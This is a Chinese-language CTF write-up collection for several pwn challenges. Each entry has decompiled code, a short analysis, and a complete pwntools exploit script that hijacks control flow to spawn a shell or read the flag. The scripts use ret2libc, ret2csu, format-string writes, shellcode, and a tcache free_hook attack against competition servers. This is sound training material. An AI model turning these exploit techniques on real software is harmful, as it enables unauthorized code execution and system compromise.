前言
题目归档(部分更新)
easy_ret2libc
IDA 反汇编代码
// main 函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[56]; // [rsp+0h] [rbp-40h] BYREF
const char *v5; // [rsp+38h] [rbp-8h]
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v5 = "Will you disclose the base address by using printf?";
printf("%s", "Will you disclose the base address by using printf?");
read(0, buf, 0x200uLL);
printf("Victory is coming");
return 0;
}
// gift 函数
ssize_t gift()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
return read(0, buf, 0x100uLL);
}
思路分析
第 11 行 read 明显存在栈溢出,且程序没有 canary 保护,故直接控制程序执行流进行以下操作(分别对应 payload1 和 payload2):
- 利用 printf 泄漏 printf 的 got 表从而得到 libc 基址,同时进入 gitf 函数再进行一次 payload 输入
- 调用 libc 中的 system 函数得到 shell
Exp
from pwn import *
context(log_level='debug', os='linux', arch='amd64')
#p = process('./a')
p = remote('120.79.18.34', 20809)
elf = ELF('./a')
lib = ELF('./libc-2.27.so')
printf_got = elf.got['printf']
printf_plt = elf.plt['printf']
gift_addr = elf.symbols['gift']
pop_rdi = 0x400723
ret_addr = 0x40061C
payload1 = b'a'*0x48 + p64(ret_addr) + p64(pop_rdi) + p64(printf_got) + p64(printf_plt) + p64(gift_addr)
p.sendafter('Will you disclose the base address by using printf?', payload1)
p.recvuntil('Victory is coming')
printf_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(hex(printf_addr))
base_addr = printf_addr - lib.symbols['printf']
sys_addr = base_addr + lib.symbols['system']
sh_addr = base_addr + 0x1B3D88
payload2 = b'a'*0x28 + p64(pop_rdi) + p64(sh_addr) + p64(sys_addr)
sleep(1)
p.send(payload2)
p.interactive()
guess_number
IDA 反汇编代码
// main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-14h] BYREF
int v5; // [rsp+10h] [rbp-10h]
unsigned int seed; // [rsp+14h] [rbp-Ch]
int i; // [rsp+18h] [rbp-8h]
int v8; // [rsp+1Ch] [rbp-4h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v8 = 0;
seed = time(0LL);
srand(seed);
puts("Do you want to guess the number in the tense ISCTF competition?");
puts("Tell me your name:");
read(0, &aC, 1uLL);
printf("Ok! Are you ready? %s Let's go!\n", "c");
for ( i = 0; i <= 99; ++i )
{
puts("I will give you a number from 1 to 10000, try to guess it correctly.");
v5 = rand() % 10000 + 1;
printf("Enter your number:");
__isoc99_scanf("%5d", &v4);
if ( v5 == v4 )
{
puts("congratulations!");
++v8;
}
else
{
puts("I'm sorry you guessed wrong");
}
}
if ( v8 == 100 )
gift(&cmd);
else
puts("You lost the game");
return 0;
}
// gift函数
int __fastcall gift(const char *a1)
{
return system(a1);
}
思路分析
分析程序可知,通过将当前时间戳作为种子传递给 srand,从而得到伪随机序列,而该完全序列由种子确定,实现时只需要利用相同时间戳得到相同序列即可。此处需注意,时间戳以秒为单位,在程序执行时来得及得到相同的时间戳,故无需绕过或溢出 seed
此外,linux 命令行命令 $0 表示当前脚本的文件名,为system传参 $ 0 即可得到 shell
Exp
from pwn import *
from ctypes import *
import random
import time
elf = cdll.LoadLibrary('./libc-2.27.so')
context(log_level='debug', arch='amd64', os='linux')
seed = int(time.time())
#p = process('./guess_number')
elf.srand(seed)
p = remote('120.79.18.34', 20485)
p.send(b'0')
for i in range(0, 100):
p.sendlineafter('Enter your number:', str(elf.rand()%10000+1).encode())
p.interactive()
inequable_ret2text
IDA 反汇编代码
// main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [rsp+10h] [rbp-60h] BYREF
char v5[56]; // [rsp+30h] [rbp-40h] BYREF
unsigned __int64 v6; // [rsp+68h] [rbp-8h]
v6 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
puts("Do you know how the strlen function stops?");
gets(answer);
if ( (int)strlen(answer) <= 0 )
{
puts("Right on! So do you know what a canary is?");
read(0, buf, 8uLL);
printf(buf);
puts("Are you ready? Let's go!");
read(0, v5, 0x100uLL);
}
else
{
puts("Maybe you should go and learn.");
}
return 0;
}
// gift函数
int __fastcall gift(const char *a1, char *const *a2, char *const *a3)
{
return execve(a1, a2, a3);
}
思路分析
- gets()以\n 为结束标识符,\x00 仍能正常读入,而 strlen()以\x00 作为结束标志,故可在 answer 首位布置\x00,之后写入字符串/bin/sh 同时构造一个符合 execve()函数调用的字符串指针数组
- 通过格式化字符串泄漏 canary
- 利用 ret2csu 构造三个参数,执行 execve()即可得到 shell
Exp
from pwn import *
context(log_level='debug', os='linux', arch='amd64')
#p = process('./inequable_ret2text')
p = remote('120.79.18.34', 20920)
elf = ELF('./inequable_ret2text')
sh_addr = 0x601098
payload1 = b'\x00'*8 + b'/bin/sh' + b'\x00'*9 + p64(sh_addr)
p.sendlineafter('Do you know how the strlen function stops?', payload1)
p.sendafter('Right on! So do you know what a canary is?\n', b'%19$p')
canary = int(p.recv(18), 16)
pop_rdi = 0x400903
pop_rsi_pop_r15_ret = 0x400901
ret = 0x400606
mov_rdx_r15 = 0x4008E0
excv_addr = 0x601040
print(hex(canary))
addr1 = 0x4008FA
addr2 = 0x4008E0
payload = b'a'*0x38 + p64(canary) + p64(canary) + p64(ret) + p64(addr1) + p64(0) + p64(0) + p64(excv_addr) + p64(sh_addr) + p64(sh_addr+0x10) + p64(sh_addr+0x18) + p64(addr2)
p.sendafter("Are you ready? Let's go!", payload)
p.interactive()
format_string
IDA 反汇编代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
size_t v3; // rbx
double buf[15]; // [rsp+8h] [rbp-1F8h] BYREF
char format[64]; // [rsp+80h] [rbp-180h] BYREF
char s[300]; // [rsp+C0h] [rbp-140h] BYREF
int i; // [rsp+1ECh] [rbp-14h]
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
puts("Do you know how to find the position of floating point number?");
printf("Tell me your answer: ");
read(0, buf, 8uLL);
if ( buf[0] == 1.97109 )
{
puts("Good. Next, try to rewrite a set of data.");
read(0, format, 0x100uLL);
printf(format);
if ( check != 197109 )
{
puts("I don't think you've figured out the answer yet.");
exit(0);
}
puts("What's wrong with shellcode?");
memset(s, 0, 0x200uLL);
read(0, s, 0x300uLL);
for ( i = 0; ; ++i )
{
v3 = i;
if ( v3 >= strlen(s) )
break;
if ( s[i] > 122 || s[i] <= 47 )
{
puts("Your shellcode doesn't seem right");
exit(0);
}
}
strcpy(gift, s);
(*(void (**)(void))gift)();
}
else
{
puts("You were wrong in the first step");
}
return 0;
}
思路分析
- 浮点数按 16 进制发送
- 利用 printf()任意地址写,修改 check
- 利用 ae64 构造纯数字字母的 shellcode
Exp
from pwn import *
from ae64 import AE64
context(arch='amd64', os='linux', log_level='debug')
#p = process('./format_string')
p = remote('120.79.18.34', 20028)
flt = 0x3fff8995aaf78fef
p.sendafter('Tell me your answer: ', p64(flt))
check_addr = 0x6010BC
payload1 = b'%197109c%24$naaa' + p64(check_addr)
#payload1 = b'aaaaaaaa%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p'
#payload1 = b'aaaaaaaa%22s'
p.sendafter('Good. Next, try to rewrite a set of data.', payload1)
#shellcode = ''
#shellcode += shellcraft.open('./flag')
#shellcode += shellcraft.read('rax','rsp',0x100)
#shellcode += shellcraft.write(1,'rsp',0x100)
shellcode = asm(shellcraft.sh())
p.sendafter("What's wrong with shellcode?", AE64().encode(shellcode))
p.interactive()
csu
IDA 反汇编代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
mprotect((void *)0x905390786LL, 0LL, 0);
vuln();
return 0;
}
ssize_t vuln()
{
char buf[80]; // [rsp+0h] [rbp-50h] BYREF
return read(0, buf, 0x200uLL);
}
思路分析
反汇编后发现存在栈溢出,但是无法进行 libc 泄漏,又发现 mprotect 函数可以修改内存页的权限,故尝试构造 ret2csu 调用 mprotect 修改 bss 段位 rwx,再写入 shellcode 执行。
Exp
from pwn import *
context(log_level='debug', os='linux', arch='amd64')
#p = process('./csu')
p = remote('120.79.18.34', 20627)
elf = ELF('./csu')
#gdb.attach(p, 'b main')
#pause()
addr1 = 0x4006DA
addr2 = 0x4006C0
def csu(rdi, rsi, rdx, rbp, rbx, r12):
payload0 = p64(rbx) + p64(rbp) + p64(r12) + p64(rdx) + p64(rsi) + p64(rdi) + p64(addr2)
return payload0
ret_addr = 0x4006E4
bss_addr = 0x600000
payload1 = b'a'*0x58 + p64(addr1) + csu(bss_addr, 0x1000, 7, 1, 0, elf.got['mprotect']) + p64(addr1) + csu(0, bss_addr, 0x200, 1, 0, elf.got['read']) + b'a'*0x38 + p64(bss_addr) + b'a'*0xe8
p.send(payload1)
shellcode = asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
Candy house
IDA 反汇编代码
代码太长了,只贴关键的 solve 函数
__int64 __fastcall solve(int a1)
{
int i; // [rsp+18h] [rbp-18h]
int j; // [rsp+1Ch] [rbp-14h]
int k; // [rsp+1Ch] [rbp-14h]
int v5; // [rsp+20h] [rbp-10h]
int v6; // [rsp+24h] [rbp-Ch]
_DWORD *v7; // [rsp+28h] [rbp-8h]
v7 = malloc(4LL * (a1 + 5));
v5 = 1;
printf("\n\x1B[0;34mThere are %d bags here, \x1B[0m", (unsigned int)a1);
for ( i = 1; i <= a1; ++i )
v7[i] = i;
while ( !(unsigned int)check(v7, (unsigned int)a1) )
{
puts("\n\x1B[0;34mcandie(s) in bags:\x1B[0m");
for ( j = 1; j <= a1; ++j )
{
printf("%d", (unsigned int)v7[j]);
if ( j == a1 )
putchar(10);
else
putchar(32);
}
printf("\x1B[0;31mYour choice(1-n, 0 to restart): \x1B[0m");
v6 = readInt();
if ( !v6 )
{
puts("\n\x1B[0;32mreseted\x1B[0m");
return 0LL;
}
if ( v6 > 0 && v6 <= a1 )
{
for ( k = 1; k <= a1; ++k )
{
if ( k != v6 )
v7[k] += v5;
}
++v5;
}
else
{
puts("\n\x1B[0;31mInvalid index!\x1B[0m");
}
}
return 1LL;
}
思路分析
题意:solve 函数构造一个 n 维向量 solve 函数构造一个 n 维向量 ( a 1 , a 2 , . . . , a n ) (a_1, a_2, ... , a_n) (a1,a2,...,an),其中 a i = i a_i=i ai=i,读取用户任意次输入,其中第 j j j 次输入 k j k_j kj,对所有 i ≠ k j i≠k_j i=kj,执行 a i + j a_i+j ai+j,要求一定次数操作后 n 维向量每项都相等。
思路:其实这也是一个算法题,构造差分数组,对于第 j j j 次输入,输入 k j = j + 1 k_j=j+1 kj=j+1,,即可通过 solve。同时这种构造与 rand 出来的随机数无关,只需循环执行 150 次看回显数据即可。
Exp
from pwn import *
context(log_level='debug')
#p = process('./candy_house')
p = remote('120.79.18.34', 20153)
p.sendline()
p.sendafter(b'Your choice(1-n, 0 to restart): ', '2')
p.sendafter(b'Your choice(1-n, 0 to restart): ', '3')
recv_str = ''
i = 2
for j in range(1, 150):
payload = str(i).rjust(8, '0')
i += 1
p.send(payload)
p.interactive()
nothing_to_do
IDA 反汇编代码
ssize_t fun()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF
return read(0, buf, 0x100uLL);
}
思路分析
题目存在明显的栈溢出,但是不知道 libc 版本,也没有泄漏 libc 的途径,在 ctfwiki 上看见类似题目,使用 partial overwrite,先随机覆盖三个半字节,得到下图 libc 版本。
之后计算栈上含有 libc 地址的位置,获取 one_gadget 覆盖低三字节,部分覆盖进行爆破即可。
Exp
from pwn import *
context(log_level='debug')
ret_addr = 0x4011C1
csu_gadget = 0x40124C
pop_rdi = 0x401253
while True:
#在爆破libc时payload如下,图中在i = 0x17f时成功
# payload = b'a'*0x20 + p64(ret_addr)*3 + p16(str(i).encode())
payload=b'a'*0x20+p64(0)+p64(csu_gadget)+p64(0)*4+p64(ret_addr)*16 + p16(0x3afe) + p8(0xea)
try:
#p = remote('120.79.18.34', 20557)
p = process('./nothing_to_do')
p.send(payload)
sleep(0.5)
p.sendline(b'cat flag')
flag = p.recv()
assert(len(flag)>0)
print(flag)
p.interactive()
except EOFError:
p.close()
# GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
nc_pwn
bin 目录下有 read,所以可以使用 read 命令,对利用重定向输入流的操作读取 flag 即可。
babycode
IDA 反汇编代码
int __cdecl main(int argc, const char **argv, const char **envp)
{
int num; // [rsp+Ch] [rbp-14h] BYREF
char *c; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]
v6 = __readfsqword(0x28u);
init();
sand_box();
puts("easy challenge");
puts("input a number . honey~");
__isoc99_scanf("%d", &num);
if ( num >= 0 )
bye();
num = -num;
if ( num > 0 )
bye();
read(0, c, 0xAuLL);
puts("now enjoy!");
read(0, page, 0xAuLL);
page();
return 0;
}
思路分析
刚开始没给附件,盲注没能成功。
分析反汇编代码知道,此处存在一处整数绕过,发现-2147483648 的相反数仍是-2147483648;接着构造 shellcode,由于字节限制,需要发送两次 shellcode,第一次用于扩大输入字节数。
Exp
from pwn import *
context(log_level='debug', os='linux', arch='amd64')
# 构造长度为0xa的shellcode利用rdi, rsi上原来调用read的数据调用read
shellcode2 = '''
mov rdx, 0x80
syscall
nop
'''
# 在0x400000+0xa处布置接下来的shellcode,因为禁用execve系统调用,故使用orw
shellcode = shellcode2
shellcode += f"""
push 0x67616c66
push (2)
pop rax
mov rdi, rsp
xor esi, esi
cdq
syscall
mov r10d, 0x7fffffff
mov rsi, rax
push (40)
pop rax
push 1
pop rdi
cdq
syscall
"""
payload1 = asm(shellcode)
p = remote('120.79.18.34', 20971)
# p = process('./babycode')
p.sendafter(b'honey~', b'-2147483648') # 取相反数后仍是-2147483648
p.send(b'/bin/sh\x00') # 作为padding即可,随便输入
sleep(1)
p.send(asm(shellcode2))
sleep(1)
p.send(payload1)
null
IDA 反汇编代码
太长了不贴了
思路分析
在函数 edit 内,存在 off by null 漏洞,采用 unsorted bin leak 泄漏 libc,然后利用 Tcache attack 劫持 free_hook,即可 getshell
Exp
from pwn import *
context(log_level='debug')
#p = process('./null')
p=remote('120.79.18.34',20254)
libc = ELF('./libc-2.27.so')
main_arena_offset = libc.symbols["__malloc_hook"] + 0x10u
def create(idx, sz):
p.sendlineafter(b'4.DEL', b'1')
p.sendlineafter(b'Index: ', str(idx).encode())
p.sendlineafter(b'Size ', str(sz).encode())
def edit(idx, content):
p.sendlineafter(b'4.DEL', b'2')
p.sendlineafter(b'Index: ', str(idx).encode())
p.sendlineafter(b'Content: ', content)
def show(idx):
p.sendlineafter(b'4.DEL', b'3')
p.sendlineafter(b'Index: ', str(idx).encode())
def delete(idx):
p.sendlineafter(b'4.DEL', b'4')
p.sendlineafter(b'Index: ', str(idx).encode())
for i in range(7):
create(i, 0xf8)
create(7, 0xf8)
create(8, 0xf8)
create(9, 0xf8)
create(10,0xf8)
for i in range(7):
delete(i)
delete(7)
for i in range(7):
create(i, 0xf8)
edit(i, b'/bin/sh')
create(7, 0x68)
show(7)
p.recvuntil(b'Content: ')
leak_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(hex(leak_addr))
libc_base = leak_addr - (main_arena_offset + 0x60)-0xf0
print(hex(libc_base))
sys_addr = libc_base + libc.symbols['system']
free_hook_addr = libc_base + libc.symbols['__free_hook']
for i in range(7):
delete(i)
edit(8,b'a'*0xf0+p64(0x190))
delete(9)
for i in range(7):
create(i, 0xf8)
edit(i, b'/bin/sh')
delete(8)
create(11,0x88)
create(12,0x68)
edit(12,p64(free_hook_addr))
create(13,0xf8)
create(14,0xf8)
edit(14,p64(sys_addr))
delete(1)
p.interactive()